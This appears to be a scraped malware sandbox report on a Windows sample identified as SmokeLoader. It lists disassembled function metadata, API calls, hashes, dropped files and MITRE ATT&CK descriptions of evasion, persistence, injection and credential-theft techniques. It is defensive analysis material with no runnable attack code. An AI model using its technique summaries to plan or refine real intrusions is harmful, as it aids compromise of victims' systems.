Instruction Fuzzy Hash: DC012B711412045AE3306F5CDD47F597F64F754B10F40061FE754AA1D1E77058448666

Uniqueness

Uniqueness Score: -1.00%

Function 00404C12 Relevance: 6.1, APIs: 4, Instructions: 132COMMONLIBRARYCODE

Download Yara Rule

APIs

__getptd_noexit.LIBCMT ref: 00404C45
_siglookup.LIBCMT ref: 00404C6C
DecodePointer.KERNEL32(47222FA0,005D5930,00000020,00408E50,00000016,00404860,005D58B0,00000008,00403303), ref: 00404CC4
__lock.LIBCMT ref: 00404CEB

Memory Dump Source

Source File: 0000000E.00000002.1988163361.0000000000401000.00000020.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000E.00000002.1988117780.0000000000400000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.1988163361.0000000000413000.00000020.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.1988813090.00000000005D3000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.1988848603.00000000005D7000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.1988884891.00000000005D8000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.1988917359.00000000005D9000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.1989221963.00000000005E3000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_400000_87C6.jbxd

Similarity

API ID: DecodePointer__getptd_noexit__lock_siglookup
String ID:
API String ID: 2847133137-0
Opcode ID: 6489401a5462376e2ca2169688dae13a739ce2c69dc1f2f13a98176eb7d9f64c
Instruction ID: 97b98a1995dcf30b56ce2788282b3c3d41bd0d9d6b5768440542c0abb0b507c4
Opcode Fuzzy Hash: 6489401a5462376e2ca2169688dae13a739ce2c69dc1f2f13a98176eb7d9f64c
Instruction Fuzzy Hash: 09417BB0915205DBDB24EFA8C8845AEBBB1BF94315B11413BEA12B77E0C73C9D40CB58

Uniqueness

Uniqueness Score: -1.00%

Function 0040C2D5 Relevance: 6.1, APIs: 4, Instructions: 103COMMONLIBRARYCODE

Download Yara Rule

APIs

_LocaleUpdate::_LocaleUpdate.LIBCMT ref: 0040C309
__isleadbyte_l.LIBCMT ref: 0040C33C
MultiByteToWideChar.KERNEL32(00000080,00000009,00001000,?,00000000,00000000,?,?,?), ref: 0040C36D
MultiByteToWideChar.KERNEL32(00000080,00000009,00001000,00000001,00000000,00000000,?,?,?), ref: 0040C3DB

Memory Dump Source

Source File: 0000000E.00000002.1988163361.0000000000401000.00000020.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000E.00000002.1988117780.0000000000400000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.1988163361.0000000000413000.00000020.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.1988813090.00000000005D3000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.1988848603.00000000005D7000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.1988884891.00000000005D8000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.1988917359.00000000005D9000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.1989221963.00000000005E3000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_400000_87C6.jbxd

Similarity

API ID: ByteCharLocaleMultiWide$UpdateUpdate::___isleadbyte_l
String ID:
API String ID: 3058430110-0
Opcode ID: e381b68ca43b2ca8e19911e7e9a364142e079a93569dd4c22e94d42cc7b28f61
Instruction ID: f79a345fd2c00daf73f727bc6b056d9c0055be0ebb95a4779142a6a20b339e70
Opcode Fuzzy Hash: e381b68ca43b2ca8e19911e7e9a364142e079a93569dd4c22e94d42cc7b28f61
Instruction Fuzzy Hash: 1831A431910246EFDF20DFA4C8C096E3BA5AF01310F1486BEE861AB2D1D734DD51EB59

Uniqueness

Uniqueness Score: -1.00%

Function 005CBA50 Relevance: 6.0, APIs: 4, Instructions: 50pipetimeCOMMON

Download Yara Rule

APIs

Part of subcall function 005CB990: HeapAlloc.KERNEL32(00000000,00000000,00000000,005CBA80), ref: 005CB9A7
Part of subcall function 005CB990: LoadLibraryA.KERNEL32(00000000), ref: 005CB9AF

FreeEnvironmentStringsW.KERNEL32(00000000), ref: 005CBA8B
ReadEventLogA.ADVAPI32(00000000,00000000,00000000,?,00000000,?,?), ref: 005CBAA8
CreateNamedPipeA.KERNEL32(00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 005CBABE
FileTimeToLocalFileTime.KERNEL32 ref: 005CBADE

Memory Dump Source

Source File: 0000000E.00000002.1988163361.0000000000413000.00000020.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000E.00000002.1988117780.0000000000400000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.1988163361.0000000000401000.00000020.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.1988813090.00000000005D3000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.1988848603.00000000005D7000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.1988884891.00000000005D8000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.1988917359.00000000005D9000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.1989221963.00000000005E3000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_400000_87C6.jbxd

Similarity

API ID: FileTime$AllocCreateEnvironmentEventFreeHeapLibraryLoadLocalNamedPipeReadStrings
String ID:
API String ID: 1576183245-0
Opcode ID: 076db8a4f83312987f1905256bfbc6c88339437fdf71772ccd15141eed5dfc8e
Instruction ID: f214a78d01e731fb2b2b09246ad61fa8e859b9e9d03b3fea04ee85f7849c3906
Opcode Fuzzy Hash: 076db8a4f83312987f1905256bfbc6c88339437fdf71772ccd15141eed5dfc8e
Instruction Fuzzy Hash: 90012D712093059FD360DF54DC8AF9AB7A8FBA8705F00451FF2558B1A0D770654C9BA7

Uniqueness

Uniqueness Score: -1.00%

Function 005CCC9B Relevance: 6.0, APIs: 4, Instructions: 49COMMONLIBRARYCODE

Download Yara Rule

APIs

__cftof_l.LIBCMT ref: 005CCCC1

Part of subcall function 005CCAB0: __fltout2.LIBCMT ref: 005CCADB

__cftog_l.LIBCMT ref: 005CCCE7
__cftoe_l.LIBCMT ref: 005CCD19

Memory Dump Source

Source File: 0000000E.00000002.1988163361.0000000000413000.00000020.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000E.00000002.1988117780.0000000000400000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.1988163361.0000000000401000.00000020.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.1988813090.00000000005D3000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.1988848603.00000000005D7000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.1988884891.00000000005D8000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.1988917359.00000000005D9000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.1989221963.00000000005E3000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_400000_87C6.jbxd

Similarity

API ID: __cftoe_l__cftof_l__cftog_l__fltout2
String ID:
API String ID: 3016257755-0
Opcode ID: 843931e506ad9f7667999f9533ecfb8930c9daf0a1febf59d810d17d1cd26479
Instruction ID: 7659e4ef46eb3dc854fa885a691a500da997daefc6b5927b0d7f1199e0bd93e6
Opcode Fuzzy Hash: 843931e506ad9f7667999f9533ecfb8930c9daf0a1febf59d810d17d1cd26479
Instruction Fuzzy Hash: 10117B3200018EBFCF125EC8DD05DEE3F22BB59394B598419FA2D98031D332C9B2AB81

Uniqueness

Uniqueness Score: -1.00%

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may exploit software vulnerabilities in client applications to execute code. Vulnerabilities can exist in software due to unsecure coding practices that can lead to unanticipated behavior. Adversaries can take advantage of certain vulnerabilities through targeted exploitation for the purpose of arbitrary code execution. Oftentimes the most valuable exploits to an offensive toolkit are those that can be used to obtain code execution on a remote system because they can be used to gain access to that system. Users will expect to see files related to the applications they commonly used to do work, so they are a useful target for exploit research and development because of their high utility.
Tactics:	Execution
Data Sources:	Application Log: Application Log Content, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse task scheduling functionality to facilitate initial or recurring execution of malicious code. Utilities exist within all major operating systems to schedule programs or scripts to be executed at a specified date and time. A task can also be scheduled on a remote system, provided the proper authentication is met (ex: RPC and file and printer sharing in Windows environments). Scheduling a task on a remote system typically may require being a member of an admin or otherwise privileged group on the remote system.
Tactics:	Execution, Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, Container: Container Creation, File: File Creation, File: File Modification, Process: Process Creation, Scheduled Job: Scheduled Job Creation
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the "run keys" in the Registry or startup folder will cause the program referenced to be executed when a user logs in.These programs will be executed under the context of the user and will have the account's associated permissions level.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, File: File Modification, Process: Process Creation, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use bootkits to persist on systems. Bootkits reside at a layer below the operating system and may make it difficult to perform full remediation unless an organization suspects one was used and can act accordingly.
Tactics:	Defense Evasion, Persistence
Data Sources:	Drive: Drive Modification
Platforms:	Linux, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may circumvent mechanisms designed to control elevate privileges to gain higher-level permissions. Most modern systems contain native elevation control mechanisms that are intended to limit privileges that a user can perform on a machine. Authorization has to be granted to specific users in order to perform tasks that can be considered of higher risk. An adversary can perform several methods to take advantage of built-in control mechanisms in order to escalate privileges on a system.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, User Account: User Account Modification, Windows Registry: Windows Registry Key Modification
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify access tokens to operate under a different user or system security context to perform actions and bypass access controls. Windows uses access tokens to determine the ownership of a running process. A user can manipulate access tokens to make a running process appear as though it is the child of a different process or belongs to someone other than the user that started the process. When this occurs, the process also takes on the security context associated with the new token.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	Active Directory: Active Directory Object Modification, Command: Command Execution, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, User Account: User Account Metadata
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may delete files left behind by the actions of their intrusion activity. Malware, tools, or other non-native files dropped or created on a system by an adversary (ex: Ingress Tool Transfer ) may leave traces to indicate to what was done within a network and how. Removal of these files can occur during an intrusion, or as part of a post-intrusion process to minimize the adversary's footprint.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Deletion
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may set files and directories to be hidden to evade detection mechanisms. To prevent normal users from accidentally changing special files on a system, most operating systems have the concept of a ‘hidden’ file. These files don’t show up when a user browses the file system with a GUI or when using normal commands on the command line. Users must explicitly ask to show the hidden files either via a series of Graphical User Interface (GUI) prompts or with command line switches ( `dir /a` for Windows and `ls –a` for Linux and macOS).
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report 5Yzloz244r.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: SmokeLoader

Yara Signatures

PCAP (Network Traffic)

Dropped Files

Memory Dumps

Unpacked PEs

Sigma Signatures

System Summary

Snort Signatures

Joe Sandbox Signatures

AV Detection

Cryptography

Exploits

Privilege Escalation

Bitcoin Miner

Compliance

Spreading

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

E-Banking Fraud

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\AAFHIIDH

C:\ProgramData\AEBAFBGIDHCBFHIECFCBGHIEGD

C:\ProgramData\AIXACVYBSB.docx

C:\ProgramData\BPMLNOBVSB.docx

Windows Analysis Report
5Yzloz244r.exe

Description:	Adversaries may abuse Regsvr32.exe to proxy execution of malicious code. Regsvr32.exe is a command-line program used to register and unregister object linking and embedding controls, including dynamic link libraries (DLLs), on Windows systems. The Regsvr32.exe binary may also be signed by Microsoft.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Module: Module Load, Network Traffic: Network Connection Creation, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may hook into Windows application programming interface (API) functions to collect user credentials. Malicious hooking mechanisms may capture API calls that include parameters that reveal user authentication credentials.Unlike Keylogging , this technique focuses specifically on API functions that include parameters that reveal user credentials. Hooking involves redirecting calls to these functions and can be implemented via:
Tactics:	Collection, Credential Access
Data Sources:	Process: OS API Execution, Process: Process Metadata
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the Windows Registry to gather information about the system, configuration, and installed software.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to identify the primary user, currently logged in user, set of users that commonly uses a system, or whether a user is actively using the system. They may do this, for example, by retrieving account usernames or by using OS Credential Dumping . The information may be collected in a number of different ways using other Discovery techniques, because user and username details are prevalent throughout a system and include running process ownership, file/directory ownership, session information, and system logs. Adversaries may use the information from [System Owner/User Discovery](https://attack.mitre.org/techniques/T1033) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre